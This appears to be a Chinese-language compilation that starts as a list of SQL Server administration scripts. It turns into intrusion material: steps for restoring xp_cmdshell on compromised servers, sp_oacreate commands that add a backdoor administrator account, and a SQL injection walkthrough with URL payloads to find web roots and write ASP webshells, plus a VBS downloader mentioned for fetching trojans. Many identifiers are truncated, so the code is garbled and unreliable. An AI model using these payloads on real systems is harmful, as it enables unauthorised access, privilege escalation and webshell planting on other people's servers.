2023年11月27日发(作者:)

常用SQL脚本

28.1 查看数据库所在机器操作系统参数(xp_msver

查看数据库所在机器操作系统参数的存储过程如下

p_msver

28.2 查看当前数据库服务器名(xp_getnetnameHOST_NAME()

p_getnetname

或者:

SELECT HOST_NAME()

28.3 查看服务器上所有Windows本地组(xp_enumgroups

查看服务器上所有Windows本地组的存储过程如下

p_enumgroups

28.4 查看服务器上安装的所有代码页(xp_enumcodepages

查看服务器上安装的所有代码页的存储过程如下

p_enumcodepages

嘿嘿,是不是报没开启错误啊~~没错误略过

先执行下面语句

USE master;

GO

EXEC sp_configure 'show advanced option', '1';

RECONFIGURE

EXEC sp_configure 'Web Assistant Procedures',1

RECONFIGURE

EXEC sp_configure

28.5 查看指定目录的所有下一级子目录(xp_subdirs

查看C:WINDOWSDrivers目录所有下一级子目录的存储过程如下

EXEC [master].[dbo].[xp_subdirs] 'C:WINDOWSDrivers'

查看磁盘信息的存储过程如下

EXEC [master].[dbo].[xp_availablemedia]

或者采用下列语句

p_fixeddrives

请注意:其中,low free为以字节为单位的空闲空间,media type为驱动器类型,软驱为1

硬盘为2CD-ROM8

28.8 查看硬盘文件信息(xp_dirtree

查看C盘文件信息的存储过程如下

p_dirtree 'c:'

查看C盘深度为1的文件信息的存储过程如下

p_dirtree 'c:',1

查看C盘深度为1、是否为的信息的存储过程如下

p_dirtree 'c:',1,1

查看“C:WINDOWSWeb”目录中的文件信息的存储过程如下

p_dirtree 'C:WINDOWSWeb'

28.9 查看服务器提供的OLEDB程序(xp_enum_oledb_providers

查看服务器提供的OLEDB程序的存储过程如下

p_enum_oledb_providers

28.10 查看数据库服务名(@@SERVERNAME

print 'SQL Server数据库服务名: ' +

convert(varchar(30),@@SERVERNAME)

查看结果如下:

SQL Server数据库服务名: SZXSQLS2008

28.11 查看数据库实例名(@@SERVICENAME

PRINT 'SQL Server数据库实例名: ' +

convert(varchar(30),@@SERVICENAME)

查看结果如下:

SQL Server数据库实例名: MSSQLSERVER

28.12 查看DBMS数据库的版本(@@versionsp_msgetversion

查看DBMS版本的命令如下

SELECT @@version SQL_Server版本

或者

EXEC master..sp_msgetversion

28.13 查看数据库配置参数(sp_configure

查看数据库配置参数的存储过程如下

EXEC sp_configure

28.14 查看所有数据库名称、容量等信息(sp_helpdbsp_databases

sp_helpdb

sp_databases

查看单个数据库的容量:如sql92_exam_xjgl

sp_helpdb sql92_exam_xjgl

28.15 查看所有数据库名称及大小(sp_helpdb

查看所有数据库名称及大小的存储过程如下

EXEC sp_helpdb

28.16 修改数据库的名称(sp_renamedb

EXEC sp_renamedb 'old_dbname', 'new_dbname'

28.17 查看当前数据库的启动时间(sysprocesses

SELECT convert(varchar(30),login_time,120)启动时间

FROM master..sysprocesses

WHERE spid=1

28.18 查看当前数据库文件路径等信息(sp_helpfile

sp_helpfile

28.19 查看AdventureWorks数据库文件路径(sysfiles

SELECT ltrim(rtrim(filename))

FROM AdventureWorks..sysfiles

WHERE charindex('MDF',filename)>0

查看结果如下:

C:Program FilesMicrosoft SQL Server100ToolsSamples

AdventureWorks_

28.20 查看当前数据库文件组名(sp_helpfilegroup

sp_helpfilegroup

28.21 查看当前数据库中所有的存储过程(sysobjects

查看当前数据库中所有存储过程的命令如下

SELECT name as存储过程名称FROM sysobjects WHERE xtype='P'

28.22 查看数据库里所有的存储过程和函数(sp_stored_procedures

查看某个数据库里所有存储过程和函数的命令如下

use AdventureWorks

GO

EXEC sp_stored_procedures

28.23 查看所有数据库日志文件大小(dbcc sqlperf()

查看所有数据库日志文件大小的命令如下

dbcc sqlperf(logspace)

28.24 查看SQL Server错误日志(xp_enumerrorlogsxp_readerrorlog

2)查看当前错误日志具体内容

EXEC [master].[dbo].[xp_readerrorlog]

28.25 查看数据库角色信息(sp_helpRole

查看数据库角色信息的存储过程如下

EXEC sp_helpRole

28.26 查看所有数据库用户所属的角色信息(sp_helpsrvrolemember

查看所有数据库用户所属角色信息的存储过程如下

EXEC sp_helpsrvrolemember

28.27 查看角色成员用户信息(sp_helpRoleMember

查看角色成员用户信息的存储过程如下

EXEC sp_helpRoleMember 'db_owner'

28.28 查看当前数据库所有用户信息(sp_helpUser

查看数据库用户信息的存储过程如下

EXEC sp_helplogins

28.29 查看本地数据库用户登录信息(sp_helplogins

查看本地数据库用户登录信息的存储过程如下

查看链接服务器信息的存储过程如下

EXEC sp_helplinkedsrvlogin

28.32 将用户账户添加到数据库中(sp_grantdbaccess

guest用户账户添加到数据库中的命令如下:

USE sql92_exam_xjgl

GO

EXEC sp_grantdbaccess guest

28.33 查看数据库下对象级用户权限(sp_helprotect

查看数据库下对象级用户权限的存储过程如下

EXEC sp_helprotect

28.34 获得当前数据库所有用户表的名称(sysobjects

获得当前数据库所有用户表名称的命令如下

SELECT OBJECT_NAME (id)

FROM sysobjects

FROM master..sysdatabases

WHERE sid <> 0x01

28.37 查看一个表上相关的对象(sysobjectssyscomments

查询一个表上相关对象的命令如下

SELECT a.* FROM sysobjects a, syscomments b

WHERE = and like '%teacher%'

28.38 获取某一个表的所有字段(syscolumnssp_mshelpcolumns

获取某一个表的所有字段的命令如下

SELECT name FROM syscolumns WHERE id=object_id('teacher')

或者通过以下存储过程实现

EXEC sp_mshelpcolumns 'teacher'

28.39 获得指定表上所有的索引名称(sysindexes

通过系统表sysindexes获得指定表上所有索引名称的命令如下

SELECT name FROM sysindexes

WHERE id = OBJECT_ID ('dept') AND indid > 0

EXEC sp_MShelpcolumns N'teacher'

28.42 获取某一个表的主键、外键信息(sp_pkeyssp_fkeys

获取表teacher的主键信息的存储过程如下

EXEC sp_pkeys N'teacher'

获取表teacher的外键信息的存储过程如下:

EXEC sp_fkeys N'teacher'

28.43 判断某一个表是否存在某一字段(syscolumns

通过系统表syscolumn判断某一个表是否存在某一字段的命令如下:

if exists(SELECT 1 FROM syscolumns

WHERE id=object_id(N'teacher') and name=N'tname')

print N'存在'

else

print N'不存在'

28.44 查看单个存储过程和函数的源代码(sp_helptext

查看单个存储过程和函数源代码的存储过程如下

USE AdventureWorks

GO

EXEC sp_helptext 'Error'

28.45 查看数据库里用户和进程的信息(sp_who

1)查看数据库里用户和进程信息

EXEC sp_who

其中,spid是进程编号,进程号1--50SQL Server系统内部用的,进程号大于50的是用

户的连接进程。

2)查看活动用户和进程信息的存储过程如下

EXEC sp_who 'active'

28.46 清除sleeping进程(Kill__Sleeping_Processes

Sleeping进程是系统中处于睡眠状态尚未活动的进程,这部分进程可以杀掉。

CREATE PROCEDURE __Sleeping_Processes @dbname varchar(50)

AS

BEGIN

SET NOCOUNT ON

DECLARE @spid INT,

@cnt INT,

@sql VARCHAR(255)

SELECT @spid = MIN(spid),@cnt = COUNT(*)

FROM master..sysprocesses

END

END

GO

运行改存储过程后杀掉sleeping进程:

Kill__Sleeping_Processes SQLS2008

清除前后可以用EXEC sp_who 'active '进行查看。

28.47 查看进程正在执行的SQL语句(dbcc inputbuffer ()

查看进程正在执行的SQL语句:dbcc inputbuffer (spid)

其中spid是用sp_who查询出来的spid号,如:56

查看56号进程正在执行的SQL语句实例如下

dbcc inputbuffer (56)

28.48 查看数据库锁(sp_lock

查看SQL Server数据库里锁的情况的存储过程如下

EXEC sp_lock

其中,spid是进程编号,dbid是数据库编号,Objid是数据对象编号。

28.49 查看数据库死锁的进程(proc_who_lock

proc_ find _lock过程查看数据库死锁的进程。

if exists (SELECT *

FROM ects

WHERE id = object_id(N'[dbo].[proc_find_lock]')

and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[proc_find_lock]

GO

use master

go

create procedure proc_find_lock

as

begin

declare @spid int,@bl int,

@intTransactionCountOnEntry int,

@intRowcount int,

@intCountProperties int,

@intCounter int

create table #temp_lock (

id int identity(1,1),

spid smallint,

bl smallint)

IF @@ERROR<>0 RETURN @@ERROR

insert into #temp_lock(spid,bl)

SELECT 0 ,blocked

FROM (SELECT * FROM sysprocesses WHERE blocked>0 ) a

WHERE not exists(SELECT *

FROM (SELECT *

FROM sysprocesses

WHERE blocked>0 ) b

WHERE d=spid)

union SELECT spid,blocked

FROM sysprocesses

WHERE blocked>0

IF @@ERROR<>0 RETURN @@ERROR

SELECT @intCountProperties = Count(*),@intCounter = 1 --找到临时表的记录数

FROM #temp_lock

IF @@ERROR<>0 RETURN @@ERROR

if @intCountProperties=0

SELECT '没有阻塞和死锁信息' as 提示

while @intCounter <= @intCountProperties

begin

SELECT @spid = spid,@bl = bl

FROM #temp_lock WHERE Id = @intCounter

begin

if @spid =0

SELECT '引起数据库死锁的进程号是: '+ CAST(@bl AS VARCHAR(10))

+ ',其执行的SQL语句为:'

else

SELECT '进程号SPID'+ CAST(@spid AS VARCHAR(10))

+ '' + '进程号SPID'+ CAST(@bl AS VARCHAR(10))

+'阻塞,其当前进程执行的SQL语句为:'

DBCC INPUTBUFFER (@bl )

end

set @intCounter = @intCounter + 1

end

drop table #temp_lock

return 0

end

运行过程proc_find_lock

proc_find_lock

28.50 备份当前数据库(backup database

1)完全备份

declare @a sysname,@s nvarchar(4000)

SELECT @a=db_name(),@s='e:sql_db_bak_full' backup database @a to disk=@s WITH format

已为数据库'sql92_exam_xjgl',文件'sql92_example'(位于文件1)处理了240页。

已为数据库'sql92_exam_xjgl',文件'sql92_example_log'(位于文件1)处理了1页。

BACKUP DATABASE成功处理了241页,花费0.101(19.547 MB/)

2)差异备份

declare @a sysname,@s nvarchar(4000)

SELECT @a=db_name(),@s='e:sql_db_bak_diff' backup database @a to disk=@s WITH

DIFFERENTIAL,format

已为数据库'sql92_exam_xjgl',文件'sql92_example' (位于文件1)处理了40页。

已为数据库'sql92_exam_xjgl',文件'sql92_example_log' (位于文件1)处理了1页。

BACKUP DATABASE WITH DIFFERENTIAL成功处理了41页,花费0.095(3.530 MB/

)

差异备份要在至少有一次完全备份成功之后才能实施,否则出错。

28.51 从磁带中恢复完整的数据库备份

从磁带中恢复sql92_exam_xjgl的完整数据库备份。

USE master

GO

RESTORE DATABASE sql92_exam_xjgl

FROM TAPE = '.Tape0'

GO

28.52 在脱机状态下进行数据库备份和恢复

在脱机状态下对sql92_exam_xjgl数据库进行备份和恢复。

步骤如下:

卸载需要进行备份恢复的sql92_exam_xjgl数据库。

master数据库下新建下列查询分析语句:

Sp_detach_db 'sql92_exam_xjgl'

运行结果为:命令已成功完成。

复制sql92_exam_xjgl 库的sql92_文件和sql92_example_文件到E:下。

启动数据库服务器进行恢复。

sp_attach_db 'sql92_exam_xjgl',

'E:sql92_', 'E:sql92_example_'

运行结果为:命令已成功完成。

当恢复单个mdf文件采用下列语句:

sp_attach_single_file_db 'sql92_exam_xjgl','E:sql92_''

恢复xp_cmdshell SQL Server阻止了对组件 'xp_cmdshell' 的过程'_cmdshell' 启用

SQL Server 阻止了对组件 'xp_cmdshell' 过程'_cmdshell' 的访问,因为此组件已作

为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用

'xp_cmdshell'有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围

应用配置器"

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困

难。后来经过查看MSSQL2005的手册才知道情况原来如此:

用下面一句话就可以了解决了。

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 1;RECONFIGURE;--

关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 0;RECONFIGURE;--

如果cmdshell还不行的话,就再运行:

;dbcc addextendedproc("xp_cmdshell","");--

或者

;sp_addextendedproc xp_cmdshell,@dllname=''

来恢复cmdshell

1433SQL入侵恢复xp_cmdshell方法总结

sql server 2005下开启xp_cmdshell的办法

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc

Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation

Procedures',1;RECONFIGURE;

突破SA的各种困难

常见情况恢复执行xp_cmdshell

1 未能找到存储过程'pcmdshell'.

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =''declare @o int

第二步执行:sp_addextendedproc 'xp_cmdshell', ''

然后按F5键命令执行完毕

2 无法装载 DLL 或该DLL所引用的某一 DLL。原因126(找不到指定模块。

恢复方法:查询分离器连接后,

第一步执行:sp_dropextendedproc "xp_cmdshell"

第二步执行:sp_addextendedproc 'xp_cmdshell', ''

然后按F5键命令执行完毕

3 无法在库 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分离器连接后,

第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:exec sp_addextendedproc 'xp_cmdshell',''

然后按F5键命令执行完毕

.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod

@shell,'run',null,'c: /c net user dell huxifeng007 /add'

declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod

@shell,'run',null,'c: /c net localgroup administrators dell /add'

xp2003server系统:

declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod

@shell,'run',null,'c: /c net user dell huxifeng007 /add'

declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod

@shell,'run',null,'c: /c net localgroup administrators dell /add'

--------------

xp_cmdshell新的恢复办法

删除

drop procedure sp_addextendedproc

drop procedure sp_oacreate

exec sp_dropextendedproc 'xp_cmdshell'

恢复

dbcc addextendedproc ("sp_oacreate","")

dbcc addextendedproc ("xp_cmdshell","")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

-----------------------------

删除扩展存储过过程xp_cmdshell的语句:

exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshellsql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =''

开启cmdshellsql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =''

判断存储扩展是否存在

select count(*) from ects where xtype='x' and name='xp_cmdshell'

返回结果为1ok

恢复xp_cmdshell

exec endedproc 'xp_cmdshell','';select count(*) from

ects where xtype='x' and name='xp_cmdshell'

返回结果为1ok

否则上传

exec endedproc 'xp_cmdshell','c:'

堵上cmdshellsql语句

DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:

SQL代码:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name

of DLL containing function */ as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

GO

再恢复以上所有扩展存储过程

SQL代码:

use master

exec sp_addextendedproc xp_cmdshell,'xp_'

exec sp_addextendedproc xp_dirtree,''

exec sp_addextendedproc xp_enumgroups,''

exec sp_addextendedproc xp_fixeddrives,''

exec sp_addextendedproc xp_loginconfig,''

exec sp_addextendedproc xp_enumerrorlogs,''

exec sp_addextendedproc xp_getfiledetails,''

exec sp_addextendedproc sp_OACreate,''

exec sp_addextendedproc sp_OADestroy,''

exec sp_addextendedproc sp_OAGetErrorInfo,''

exec sp_addextendedproc sp_OAGetProperty,''

exec sp_addextendedproc sp_OAMethod,''

exec sp_addextendedproc sp_OASetProperty,''

exec sp_addextendedproc sp_OAStop,''

exec sp_addextendedproc xp_regaddmultistring,''

exec sp_addextendedproc xp_regdeletekey,''

exec sp_addextendedproc xp_regdeletevalue,''

exec sp_addextendedproc xp_regenumvalues,''

exec sp_addextendedproc xp_regread,''

exec sp_addextendedproc xp_regremovemultistring,''

exec sp_addextendedproc xp_regwrite,''

exec sp_addextendedproc xp_availablemedia,''

SQL Server 阻止了对组件 'xp_cmdshell' 过程'_cmdshell' 的访问,因为此组件已作

为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用

'xp_cmdshell'有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围

应用配置器"

经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题

接下来我们用SQL语句搞定他

分析器执行的语句:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 1;RECONFIGURE

SQL注入取得网站路径大全

20090124 星期六 下午 01:33

如果网站只开了80端口,你会发现下面的方法是比较有用的

其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧

方法可以说有4(现在已知的)

第一种方法:

这个是<<怪异的SQL注入>>中介绍的方法

利用sqlserverxp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了

点补充)

建立表

语句:/down/?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!说明建表成功!继续!

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用)

语句:/down/?id=1;insert dirs exec _dirtree 'c:' --

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(

像只有暴这种方法了)

语句:/down/?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

varchar '@Inetpub'转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:/down/?id=1 and 0<>(select top 1 paths from

dirs where paths not in( '@Inetpub'))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

varchar 'test'转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

好我们继续

语句:/down/?id=1 and 0<>(select top 1 paths from

dirs where paths not in( '@Inetpub','test'))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

varchar 'haha'转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

一点技巧:

有时候你会发现当输入类似

/down/?id=1 and 0<>(select top 1 paths from dirs)-

时不是显示出错,而是网页显示正常

晕了吧,别紧张哈

看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

哈哈,测试一下看看是多少吧

100>(select top 1 paths from dirs)

返回正常

哈哈,用这种大于小于的方法很快就能猜出了

好我们继续

比如当出现

59=(select top 1 paths from dirs)

返回正常,

ok,说明名字是59

输入如下

/down/?id=1 and 0<>(select top 1 paths from

dirs where paths not in( '59'))--

记得带上引号哟

下面的方法就和原来的一样的了

还有一个问题就是

有时候用上面的方法输入59,发现下一次的文件夹还是59

这个是怎么回事情呢?

呵呵,不知道你有没有注意过05959是一样的?

就是这个原因了,哈哈,

/down/?id=1 and 0<>(select top 1 paths from

dirs where paths not in( '059'))--

发现显示下一个文件夹名字了,ok

优缺点分析:

优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,

缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千

好几万个文件夹里找你想要的文件夹是痛苦的.

而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠

运气和耐力.

祝你成功

方法二:

利用xp_cmdshell

哈哈,这个大家一定很熟悉了吧,我就简单说一下

建立表

语句:/down/?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!说明建表成功!继续!

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

语句:/down/?id=1;insert dirs exec _cmdshell 'dir c:

/B/D' --

返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c: /B/D,哈哈,不知道/B/D

什么作用就试验试验看

语句:/down/?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

varchar '@Inetpub'转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:/down/?id=1 and 0<>(select top 1 paths from

dirs where paths not in( '@Inetpub'))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

varchar 'test'转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

方法同上,就不说了

有时候我们也可以用下面的两个扩展来干些事情

1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:

5 ;insert dirs exec _availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:

5 ;insert into dirs exec _subdirs 'c:' ;--

优缺点分析:

很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,

找起来方便多了.

缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).

方法三:

这种方法很好

下面这个是原文

想到了使用程序,我是这样执行的

a';exec p_cmdshell 'cmd /c cscript c: enum

w3svc/1/root>';--

是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的

实际目录咯)

导入到

对于的实际位置默认当然是c:winntsystem32,其实这都不是问题,不过遇到管理员把

删了或是放到别

的地方我们就没办法了(不可能自已用echo 命令写一个吧)

第二步:echo命令写下面的代码到c:,很多吗也不算吧

.....xp_cmdshell 'echo set fso1=createobject("stemobject")>c:';--

.....xp_cmdshell 'echo Set WshShell = Object("")>>c:'

;--

.....

----------------------------------------------------

set fso1=createobject("stemobject")

Set WshShell = Object("")

spa=nment("process")("windir")

set fil =xtfile(spa & "")

do while not fstream

nr=ne

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =xtfile(pa &"",2,true)

ine ""

---------------cut here-------------------------------------

第三步:当然就是执行,这样我们可以把中的内容读出来找到web站点的实际路

然后写一个叫的文件在web站的根目录中,能否成功试试就知道咯

执行/

返回:xxx

哈哈,的确是好方法,

不过原文好像有点问题

就是

set fil =xtfile(spa %2B "")

set fil1 =xtfile(pa%2B"",2,true)

两句提交时会出错

于是我们想到了加号,&的功能相同

还有就是写点什么东西到?写入pa,哈哈

哈哈,改成了

----------------------------------------------------

set fso1=createobject("stemobject")

Set WshShell = Object("")

spa=nment("process")("windir")

set fil =xtfile(spa "")

do while not fstream

nr=ne

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =xtfile(pa "",2,true)

变成%2B,好了,应该可以了,如下

----------------------------------------------------

set fso1=createobject("stemobject")

Set WshShell = Object("")

spa=nment("process")("windir")

set fil =xtfile(spa %2B "")

do while not fstream

nr=ne

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =xtfile(pa %2B "",2,true)

ine pa

---------------cut here--------------------------------------

如果发现1没有的话,我们可以该成2,

a';exec p_cmdshell 'cmd /c cscript c: enum

w3svc/2/root>';--

但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排

列的,好像是随机生成的,个人比较过几个2003下的

地址,没有发现什么规律.

优缺点分析:

同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不

一定在那个路径上,当然如果你原意的话你可以用

echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到

过一个有九个站点的主机,胆识只有第8个是有用

,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003

!

不过说实话,这个方法的确是一个好方法

方法四:

这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径

以下推荐,获取网页路径(通过存储过程达到对注册表的读取)

利用内置存储过程 xp_regread(读取注册表键值,权限public)

语句:http///?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test

varchar(20) p_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots , @value_name= / ,

values=@test OUTPUT insert into paths

(path) values(@test)

IISHKEY_LOCAL_MACHINE

SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots

利用爆字段将数据库的值读出来:

语句:http///?classid=1 and 0<>(select top 1 paths from newtable)--返回:

Microsoft OLE DB Provider for

ODBC Drivers 错误 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] varchar

Ewww,,201 转换为数据类型为 int

列时发生语法错误。

这说明网页目录在Ewww,接下来也可以利用FSO直接写入ASP木马

如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB或者使用域名作为

WEB

declare @o int exec sp_oacreate , @o out exec sp_oamethod @o, run , NULL,'

c

-w "默认 Web 站点" -v "e","e"'

在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate , @o out exec sp_oamethod @o, run , NULL,'

c

-a w3svc/1/ROOT/e browse'

给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。

这下给自己一个天开眼了。那传WEBSHELL利用MS

SQL为我们的工作告了一段落了,接下来工作应该由你来了。

哈哈,方法不错哟,通过注册表来读,方便快捷!

优缺点分析:

优点当然是方便快捷了。缺点是只能察看默认的iis站点的路径,如果不再默认的站点那就无

能为力了(我用regsnape跟踪过),如果在2003

那就是连默认的站点路径也不显示了!痛苦中

顺便说两句,实际上除了找网站路径的方法外,还是有别的方法来继续入侵的,比如说通过

tftp来上传反弹木马,或者是通过写一个来下载你想要的东东

代码如下:

---------start----------

Set xPost = createObject("P")

"GET",LCase(nts(0)),0

()

Set sGet = createObject("")

= 3

= 1

()

(seBody)

File LCase(nts(1)),2

----------end-----------

对此文的在补充:

近日发现对毛主席大人的指示理解不够深刻,特在此表示补充

实际上上面的各种方法根本就不需要比较了xp_dirtree是最好的,只要这一种方法就够了

只是因为我当初太..............

今日将xp_dirtree的秘密再挖一下

好,我们p_dirtree'd:/test'

假设我们在test里有两个文件夹test1test2test1里又有test3

结果显示

subdirectory depth

test1 1

test3 2

test2 1

哈哈发现没有那个depth就是目录的级数

ok了,知道怎么办了吧

/down/?id=1;create table dirs(paths varchar(1000),id int)--

/down/?id=1;insert dirs exec _dirtree 'd:' --

/down/?id=1 and 0<>(select top 1 paths from dirs where id=1)-

只要加上id1,就是第一级目录